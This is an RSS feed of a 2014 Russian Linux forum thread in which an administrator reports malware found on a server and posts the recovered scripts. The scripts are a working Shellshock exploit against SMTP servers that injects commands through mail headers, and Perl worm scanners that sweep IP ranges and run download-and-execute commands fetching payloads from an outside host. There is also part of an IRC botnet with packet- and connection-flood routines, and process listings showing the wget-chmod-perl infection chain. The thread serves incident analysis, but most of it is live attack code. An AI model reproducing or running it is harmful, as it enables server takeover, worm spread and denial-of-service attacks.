&nbsp; &nbsp; &nbsp; &nbsp; send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;<br />
for (my $pc = 3;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $pc &lt;= 255;$pc++) {<br />
next if $pc == 6;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $cur_time = time - $itime;<br />
last if $cur_time &gt;= $ftime;<br />
&nbsp; &nbsp; &nbsp; &nbsp; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;<br />
&nbsp; &nbsp; &nbsp; &nbsp; send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;<br />
}<br />
}<br />
last if $cur_time &gt;= $ftime;<br />
}<br />
return($cur_time, %pacotes);<br />
}<br />
##############<br />
sub tcpflooder {<br />
my $itime = time;<br />
my ($cur_time);<br />
my ($ia,$pa,$proto,$j,$l,$t);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $ia=inet_aton($_[0]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $pa=sockaddr_in($_[1],$ia);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $ftime=$_[2];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $proto=getprotobyname('tcp');<br />
&nbsp; &nbsp; &nbsp; &nbsp; $j=0;$l=0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $cur_time = time - $itime;<br />
while ($l&lt;1000){<br />
&nbsp; &nbsp; &nbsp; &nbsp; $cur_time = time - $itime;<br />
last if $cur_time &gt;= $ftime;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $t=&quot;SOCK$l&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; socket($t,PF_INET,SOCK_STREAM,$proto);<br />
&nbsp; &nbsp; &nbsp; &nbsp; connect($t,$pa)||$j--;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $j++;$l++;<br />
}<br />
&nbsp; &nbsp; &nbsp; &nbsp; $l=0;<br />
while ($l&lt;1000){<br />
&nbsp; &nbsp; &nbsp; &nbsp; $cur_time = time - $itime;<br />
last if $cur_time &gt;= $ftime;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $t=&quot;SOCK$l&quot;;<br />
shutdown($t,2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $l++;<br />
}<br />
}<br />
##############<br />
sub msg {<br />
&nbsp; &nbsp;return unless $#_ == 1;<br />
&nbsp; &nbsp;sendraw(&quot;PRIVMSG $_[0] :$_[1]&quot;);<br />
}<br />
sub ctcp {<br />
&nbsp; &nbsp;return unless $#_ == 1;<br />
&nbsp; &nbsp;sendraw(&quot;PRIVMSG $_[0] :\001$_[1]\001&quot;);<br />
}<br />
sub notice {<br />
&nbsp; &nbsp;return unless $#_ == 1;<br />
&nbsp; &nbsp;sendraw(&quot;NOTICE $_[0] :$_[1]&quot;);<br />
}<br />
sub op {<br />
&nbsp; &nbsp;return unless $#_ == 1;<br />
&nbsp; &nbsp;sendraw(&quot;MODE $_[0] +o $_[1]&quot;);<br />
}<br />
sub deop {<br />
&nbsp; &nbsp;return unless $#_ == 1;<br />
&nbsp; &nbsp;sendraw(&quot;MODE $_[0] -o $_[1]&quot;);<br />
}<br />
sub voice {<br />
&nbsp; &nbsp;return unless $#_ == 1;<br />
&nbsp; &nbsp;sendraw(&quot;MODE $_[0] +v $_[1]&quot;);<br />
}<br />
sub devoice {<br />
&nbsp; &nbsp;return unless $#_ == 1;<br />
&nbsp; &nbsp;sendraw(&quot;MODE $_[0] -v $_[1]&quot;);<br />
}<br />
sub j { &amp;join(@_); }<br />
sub join {<br />
&nbsp; &nbsp;return unless $#_ == 0;<br />
&nbsp; &nbsp;sendraw(&quot;JOIN $_[0]&quot;);<br />
}<br />
sub p { part(@_); }<br />
sub part {sendraw(&quot;PART $_[0]&quot;);}<br />
sub nick {<br />
&nbsp; return unless $#_ == 0;<br />
&nbsp; sendraw(&quot;NICK $_[0]&quot;);<br />
}<br />
sub quit {<br />
&nbsp; sendraw(&quot;QUIT :$_[0]&quot;);<br />
&nbsp; exit;<br />
}<br />
sub modo {<br />
&nbsp; &nbsp;return unless $#_ == 0;<br />
&nbsp; &nbsp;sendraw(&quot;MODE $_[0] $_[1]&quot;);<br />
}<br />
sub mode { modo(@_); }<br />
&nbsp;<br />
sub invite {<br />
&nbsp; &nbsp;return unless $#_ == 1;<br />
&nbsp; &nbsp;sendraw(&quot;INVITE $_[1] $_[0]&quot;);<br />
}<br />
&nbsp;<br />
sub topico {<br />
&nbsp; &nbsp;return unless $#_ == 1;<br />
&nbsp; &nbsp;sendraw(&quot;TOPIC $_[0] $_[1]&quot;);<br />
}<br />
sub topic { topico(@_); }<br />
&nbsp;<br />
sub away {<br />
&nbsp; sendraw(&quot;AWAY $_[0]&quot;);<br />
}<br />
sub back { away(); }<br />
&nbsp;<br />
}<br />
<br />
&nbsp;</div></fieldset></p>]]></description>
</item>
<item>
<title>Re:я кажись вирус на перле нашел на одной машинке-сервере</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209119</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209119</guid>
<pubDate>Sat, 08 Nov 2014 14:55:52 +0300</pubDate>
<description><![CDATA[<p>http://m.uploadedit.com/b042/1415259863600.txt<br><br><fieldset><legend>text</legend><div class="highlight text"><br />
<br />
#!/usr/bin/perl -w<br />
<br />
use Sys::Hostname;<br />
use Socket;<br />
use IO::Socket;<br />
<br />
<br />
my($addr)=inet_ntoa((gethostbyname(hostname))[4]);<br />
# print &quot;$addr\n&quot;;<br />
$ARGV[0] = $addr;<br />
$ARGV[1] = &quot;255.255.255.255&quot;;<br />
$ARGV[2] = &quot;25&quot;;<br />
$ARGV[3] = &quot;25&quot;;<br />
<br />
# Check for port errors<br />
if(($ARGV[2] &gt; $ARGV[3]) || ($ARGV[2] &gt; 65666) || ($ARGV[3] &gt; 65666)){<br />
&nbsp; print &quot;Port error.\n&quot;;<br />
&nbsp; exit 1;<br />
}<br />
&nbsp;<br />
# Check for IP address errors<br />
@sip = split(/\./, $ARGV[0]);<br />
@eip = split(/\./, $ARGV[1]);<br />
for($x = 0; $x &lt; 4; ++$x){<br />
&nbsp; if(($sip[$x] &gt; 255) || ($eip[$x] &gt; 255)){<br />
&nbsp; &nbsp; print &quot;IP address error.\n&quot;;<br />
&nbsp; &nbsp; exit 1;<br />
&nbsp; }<br />
}<br />
$p = 0;<br />
print &quot;Scanning...\n\n&quot;;<br />
while(1){<br />
&nbsp; $cip = join('.', @sip);<br />
&nbsp; $cmd = &quot;python pyt $cip 'wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad'&quot;;<br />
&nbsp; IO::Socket::INET-&gt;new(PeerAddr=&gt;($cip),PeerPort=&gt;$p,proto=&gt;'tcp',Timeout=&gt;1) and print &quot;$cip:$p\n&quot; and system($cmd);<br />
&nbsp; if($p == $ARGV[3]){<br />
&nbsp; &nbsp; &nbsp; $sip[3] += &quot;1&quot;;<br />
&nbsp; &nbsp; &nbsp; $p = $ARGV[2];<br />
&nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; ++$p;<br />
&nbsp; }<br />
&nbsp; if($sip[3] &gt; &quot;255&quot;){<br />
&nbsp; &nbsp; $sip[2] += &quot;1&quot;;<br />
&nbsp; &nbsp; $sip[3] = &quot;0&quot;;<br />
&nbsp; }<br />
&nbsp; if($sip[2] &gt; &quot;255&quot;){<br />
&nbsp; &nbsp; $sip[1] += &quot;1&quot;;<br />
&nbsp; &nbsp; $sip[2] = &quot;0&quot;;<br />
&nbsp; }<br />
&nbsp; if($sip[1] &gt; &quot;255&quot;){<br />
&nbsp; &nbsp; $sip[0] += &quot;1&quot;;<br />
&nbsp; &nbsp; $sip[1] = &quot;0&quot;;<br />
&nbsp; }<br />
&nbsp; if($ARGV[1] =~ /$cip/){<br />
&nbsp; &nbsp; print &quot;\nScan completed.\n&quot;;<br />
&nbsp; &nbsp; exit 1;<br />
&nbsp; }<br />
}<br />
exit;<br />
<br />
&nbsp;</div></fieldset></p>]]></description>
</item>
<item>
<title>Re:я кажись вирус на перле нашел на одной машинке-сервере</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209118</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209118</guid>
<pubDate>Sat, 08 Nov 2014 14:54:01 +0300</pubDate>
<description><![CDATA[<p>http://m.uploadedit.com/b042/1415258365200.txt<br><br><fieldset><legend>text</legend><div class="highlight text"><br />
<br />
#!/bin/python<br />
&nbsp;<br />
from socket import *<br />
import sys<br />
&nbsp;<br />
def usage():<br />
&nbsp; &nbsp; print &quot;shellshock_smtp.py &lt;target&gt; &lt;command&gt;&quot;<br />
&nbsp;<br />
argc = len(sys.argv)<br />
if(argc &lt; 3 or argc &gt; 3):<br />
&nbsp; &nbsp; usage()<br />
&nbsp; &nbsp; sys.exit(0)<br />
&nbsp;<br />
rport = 25<br />
rhost = sys.argv[1]<br />
cmd = sys.argv[2]<br />
&nbsp;<br />
headers = ([<br />
&nbsp; &nbsp; &quot;To&quot;,<br />
&nbsp; &nbsp; &quot;References&quot;,<br />
&nbsp; &nbsp; &quot;Cc&quot;,<br />
&nbsp; &nbsp; &quot;Bcc&quot;,<br />
&nbsp; &nbsp; &quot;From&quot;,<br />
&nbsp; &nbsp; &quot;Subject&quot;,<br />
&nbsp; &nbsp; &quot;Date&quot;,<br />
&nbsp; &nbsp; &quot;Message-ID&quot;,<br />
&nbsp; &nbsp; &quot;Comments&quot;,<br />
&nbsp; &nbsp; &quot;Keywords&quot;,<br />
&nbsp; &nbsp; &quot;Resent-Date&quot;,<br />
&nbsp; &nbsp; &quot;Resent-From&quot;,<br />
&nbsp; &nbsp; &quot;Resent-Sender&quot;<br />
&nbsp; &nbsp; ])<br />
&nbsp;<br />
s = socket(AF_INET, SOCK_STREAM)<br />
s.connect((rhost, rport))<br />
&nbsp;<br />
# banner grab<br />
s.recv(2048*4)<br />
&nbsp;<br />
def netFormat(d):<br />
&nbsp; &nbsp; d += &quot;\n&quot;<br />
&nbsp; &nbsp; return d.encode('hex').decode('hex')<br />
&nbsp;<br />
data = netFormat(&quot;mail from:&lt;&gt;&quot;)<br />
s.send(data)<br />
s.recv(2048*4)<br />
&nbsp;<br />
data = netFormat(&quot;rcpt to:&lt;nobody&gt;&quot;)<br />
s.send(data)<br />
s.recv(2048*4)<br />
&nbsp;<br />
data = netFormat(&quot;data&quot;)<br />
s.send(data)<br />
s.recv(2048*4)<br />
&nbsp;<br />
data = ''<br />
for h in headers:<br />
&nbsp; &nbsp; data += netFormat(h + &quot;:() { :; };&quot; + cmd)<br />
&nbsp;<br />
data += netFormat(cmd)<br />
&nbsp;<br />
# &lt;CR&gt;&lt;LF&gt;.&lt;CR&gt;&lt;LF&gt;<br />
data += &quot;0d0a2e0d0a&quot;.decode('hex')<br />
&nbsp;<br />
s.send(data)<br />
s.recv(2048*4)<br />
&nbsp;<br />
data = netFormat(&quot;quit&quot;)<br />
s.send(data)<br />
s.recv(2048*4)<br />
<br />
&nbsp;</div></fieldset></p>]]></description>
</item>
<item>
<title>Re:я кажись вирус на перле нашел на одной машинке-сервере</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209117</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209117</guid>
<pubDate>Sat, 08 Nov 2014 14:53:22 +0300</pubDate>
<description><![CDATA[<p>http://m.uploadedit.com/b042/1415258281185.txt<br><br><fieldset><legend>text</legend><div class="highlight text"><br />
<br />
#!/usr/bin/perl -w<br />
<br />
use Sys::Hostname;<br />
use Socket;<br />
use IO::Socket;<br />
<br />
<br />
my($addr)=inet_ntoa((gethostbyname(hostname))[4]);<br />
# print &quot;$addr\n&quot;;<br />
$ARGV[0] = $addr;<br />
$ARGV[1] = &quot;255.255.255.255&quot;;<br />
$ARGV[2] = &quot;25&quot;;<br />
$ARGV[3] = &quot;25&quot;;<br />
<br />
# Check for port errors<br />
if(($ARGV[2] &gt; $ARGV[3]) || ($ARGV[2] &gt; 65666) || ($ARGV[3] &gt; 65666)){<br />
&nbsp; print &quot;Port error.\n&quot;;<br />
&nbsp; exit 1;<br />
}<br />
&nbsp;<br />
# Check for IP address errors<br />
@sip = split(/\./, $ARGV[0]);<br />
@eip = split(/\./, $ARGV[1]);<br />
for($x = 0; $x &lt; 4; ++$x){<br />
&nbsp; if(($sip[$x] &gt; 255) || ($eip[$x] &gt; 255)){<br />
&nbsp; &nbsp; print &quot;IP address error.\n&quot;;<br />
&nbsp; &nbsp; exit 1;<br />
&nbsp; }<br />
}<br />
$p = 0;<br />
print &quot;Scanning...\n\n&quot;;<br />
while(1){<br />
&nbsp; $cip = join('.', @sip);<br />
&nbsp; $cmd = &quot;python pyt $cip 'wget http://yourschool.net/.tmp/frogclog.php?SMTP=$cip'&quot;;<br />
&nbsp; IO::Socket::INET-&gt;new(PeerAddr=&gt;($cip),PeerPort=&gt;$p,proto=&gt;'tcp',Timeout=&gt;1) and print &quot;$cip:$p\n&quot; and system($cmd);<br />
&nbsp; if($p == $ARGV[3]){<br />
&nbsp; &nbsp; &nbsp; $sip[3] += &quot;1&quot;;<br />
&nbsp; &nbsp; &nbsp; $p = $ARGV[2];<br />
&nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; ++$p;<br />
&nbsp; }<br />
&nbsp; if($sip[3] &gt; &quot;255&quot;){<br />
&nbsp; &nbsp; $sip[2] += &quot;1&quot;;<br />
&nbsp; &nbsp; $sip[3] = &quot;0&quot;;<br />
&nbsp; }<br />
&nbsp; if($sip[2] &gt; &quot;255&quot;){<br />
&nbsp; &nbsp; $sip[1] += &quot;1&quot;;<br />
&nbsp; &nbsp; $sip[2] = &quot;0&quot;;<br />
&nbsp; }<br />
&nbsp; if($sip[1] &gt; &quot;255&quot;){<br />
&nbsp; &nbsp; $sip[0] += &quot;1&quot;;<br />
&nbsp; &nbsp; $sip[1] = &quot;0&quot;;<br />
&nbsp; }<br />
&nbsp; if($ARGV[1] =~ /$cip/){<br />
&nbsp; &nbsp; print &quot;\nScan completed.\n&quot;;<br />
&nbsp; &nbsp; exit 1;<br />
&nbsp; }<br />
}<br />
exit;<br />
<br />
&nbsp;</div></fieldset></p>]]></description>
</item>
<item>
<title>я кажись вирус на перле и питоне нашел на одной машинке-сервере</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209116</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209116</guid>
<pubDate>Sat, 08 Nov 2014 14:51:33 +0300</pubDate>
<description><![CDATA[<p>выглядит так<br><br><fieldset><legend>text</legend><div class="highlight text"><br />
<br />
kuvshin@www:~$ ps auxww | grep perl<br />
root &nbsp; &nbsp; &nbsp;1394 &nbsp;0.0 &nbsp;0.0 &nbsp;11616 &nbsp; 292 ? &nbsp; &nbsp; &nbsp; &nbsp;Ss &nbsp; Nov03 &nbsp; 0:00 /usr/local/Apache/bin/httpd-perl<br />
www_user 13919 &nbsp;0.0 &nbsp;0.0 &nbsp; 2784 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415258281185.txt -O .smtp;wget http://m.uploadedit.com/b042/1415258365200.txt -O pyt;chmod +x pyt;chmod +x .smtp;perl .smtp;rm -rf .smtp 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 13922 &nbsp;0.0 &nbsp;0.0 &nbsp; 2784 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415258281185.txt -O .smtp;wget http://m.uploadedit.com/b042/1415258365200.txt -O pyt;chmod +x pyt;chmod +x .smtp;perl .smtp;rm -rf .smtp 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 13926 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415258281185.txt -O .smtp;wget http://m.uploadedit.com/b042/1415258365200.txt -O pyt;chmod +x pyt;chmod +x .smtp;perl .smtp;rm -rf .smtp 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 13930 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415258281185.txt -O .smtp;wget http://m.uploadedit.com/b042/1415258365200.txt -O pyt;chmod +x pyt;chmod +x .smtp;perl .smtp;rm -rf .smtp 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 13936 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415258281185.txt -O .smtp;wget http://m.uploadedit.com/b042/1415258365200.txt -O pyt;chmod +x pyt;chmod +x .smtp;perl .smtp;rm -rf .smtp 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 13947 &nbsp;0.0 &nbsp;0.0 &nbsp; 4108 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl .smtp<br />
www_user 13950 &nbsp;0.0 &nbsp;0.0 &nbsp; 4104 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl .smtp<br />
www_user 13951 &nbsp;0.0 &nbsp;0.0 &nbsp; 4104 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl .smtp<br />
www_user 13954 &nbsp;0.0 &nbsp;0.0 &nbsp; 4104 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl .smtp<br />
www_user 13965 &nbsp;0.0 &nbsp;0.0 &nbsp; 4100 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl .smtp<br />
www_user 14627 &nbsp;0.0 &nbsp;0.0 &nbsp; 2784 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415258281185.txt -O .smtp;wget http://m.uploadedit.com/b042/1415258365200.txt -O pyt;chmod +x pyt;chmod +x .smtp;perl .smtp 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 14630 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415258281185.txt -O .smtp;wget http://m.uploadedit.com/b042/1415258365200.txt -O pyt;chmod +x pyt;chmod +x .smtp;perl .smtp 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 14634 &nbsp;0.0 &nbsp;0.0 &nbsp; 2784 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415258281185.txt -O .smtp;wget http://m.uploadedit.com/b042/1415258365200.txt -O pyt;chmod +x pyt;chmod +x .smtp;perl .smtp 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 14637 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415258281185.txt -O .smtp;wget http://m.uploadedit.com/b042/1415258365200.txt -O pyt;chmod +x pyt;chmod +x .smtp;perl .smtp 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 14641 &nbsp;0.0 &nbsp;0.0 &nbsp; 2784 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415258281185.txt -O .smtp;wget http://m.uploadedit.com/b042/1415258365200.txt -O pyt;chmod +x pyt;chmod +x .smtp;perl .smtp 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 14650 &nbsp;0.0 &nbsp;0.0 &nbsp; 4104 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl .smtp<br />
www_user 14653 &nbsp;0.0 &nbsp;0.0 &nbsp; 4108 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl .smtp<br />
www_user 14656 &nbsp;0.0 &nbsp;0.0 &nbsp; 4108 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl .smtp<br />
www_user 14663 &nbsp;0.0 &nbsp;0.0 &nbsp; 4100 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl .smtp<br />
www_user 14676 &nbsp;0.0 &nbsp;0.0 &nbsp; 4104 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl .smtp<br />
www_user 16548 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415259863600.txt -O /tmp/.smtp2;chmod +x /tmp/.smtp2;perl /tmp/.smtp2 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 16550 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415259863600.txt -O /tmp/.smtp2;chmod +x /tmp/.smtp2;perl /tmp/.smtp2 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 16555 &nbsp;0.0 &nbsp;0.0 &nbsp; 2776 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415259863600.txt -O /tmp/.smtp2;chmod +x /tmp/.smtp2;perl /tmp/.smtp2 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 16559 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415259863600.txt -O /tmp/.smtp2;chmod +x /tmp/.smtp2;perl /tmp/.smtp2 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 16562 &nbsp;0.0 &nbsp;0.0 &nbsp; 4100 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.smtp2<br />
www_user 16568 &nbsp;0.0 &nbsp;0.0 &nbsp; 4104 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.smtp2<br />
www_user 16572 &nbsp;0.0 &nbsp;0.0 &nbsp; 4108 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.smtp2<br />
www_user 16582 &nbsp;0.0 &nbsp;0.0 &nbsp; 2776 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415259863600.txt -O /tmp/.smtp2;chmod +x /tmp/.smtp2;perl /tmp/.smtp2 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 16585 &nbsp;0.0 &nbsp;0.0 &nbsp; 4104 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.smtp2<br />
www_user 16593 &nbsp;0.0 &nbsp;0.0 &nbsp; 4100 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.smtp2<br />
www_user 17981 &nbsp;0.0 &nbsp;0.0 &nbsp; 2784 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415260702980.txt -O /tmp/.rnd;wget http://m.uploadedit.com/b042/1415258365200.txt -O /tmp/;chmod +x /tmp/pyt;chmod +x /tmp/.rnd;perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 17985 &nbsp;0.0 &nbsp;0.0 &nbsp; 2784 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415260702980.txt -O /tmp/.rnd;wget http://m.uploadedit.com/b042/1415258365200.txt -O /tmp/;chmod +x /tmp/pyt;chmod +x /tmp/.rnd;perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 17988 &nbsp;0.0 &nbsp;0.0 &nbsp; 2784 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415260702980.txt -O /tmp/.rnd;wget http://m.uploadedit.com/b042/1415258365200.txt -O /tmp/;chmod +x /tmp/pyt;chmod +x /tmp/.rnd;perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 17992 &nbsp;0.0 &nbsp;0.0 &nbsp; 2784 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415260702980.txt -O /tmp/.rnd;wget http://m.uploadedit.com/b042/1415258365200.txt -O /tmp/;chmod +x /tmp/pyt;chmod +x /tmp/.rnd;perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 17996 &nbsp;0.0 &nbsp;0.0 &nbsp; 2784 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c wget http://m.uploadedit.com/b042/1415260702980.txt -O /tmp/.rnd;wget http://m.uploadedit.com/b042/1415258365200.txt -O /tmp/;chmod +x /tmp/pyt;chmod +x /tmp/.rnd;perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18004 &nbsp;0.0 &nbsp;0.0 &nbsp; 4104 &nbsp; 880 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 perl /tmp/.rnd<br />
www_user 18008 &nbsp;0.0 &nbsp;0.1 &nbsp; 4104 &nbsp;2012 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.rnd<br />
www_user 18012 &nbsp;0.0 &nbsp;0.1 &nbsp; 4104 &nbsp;2028 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:05 perl /tmp/.rnd<br />
www_user 18017 &nbsp;0.0 &nbsp;0.2 &nbsp; 4100 &nbsp;2124 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:03 perl /tmp/.rnd<br />
www_user 18021 &nbsp;0.0 &nbsp;0.1 &nbsp; 4100 &nbsp;1976 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:01 perl /tmp/.rnd<br />
www_user 18098 &nbsp;0.0 &nbsp;0.0 &nbsp; 2776 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18099 &nbsp;6.7 &nbsp;0.1 &nbsp; 3976 &nbsp;1948 ? &nbsp; &nbsp; &nbsp; &nbsp;R &nbsp; &nbsp;Nov06 221:36 perl /tmp/.rnd<br />
www_user 18102 &nbsp;0.0 &nbsp;0.0 &nbsp; 2772 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
www_user 18105 &nbsp;0.0 &nbsp;0.0 &nbsp; 2780 &nbsp; 348 ? &nbsp; &nbsp; &nbsp; &nbsp;S &nbsp; &nbsp;Nov06 &nbsp; 0:00 sh -c perl /tmp/.rnd 2&gt;&amp;1 3&gt;&amp;1<br />
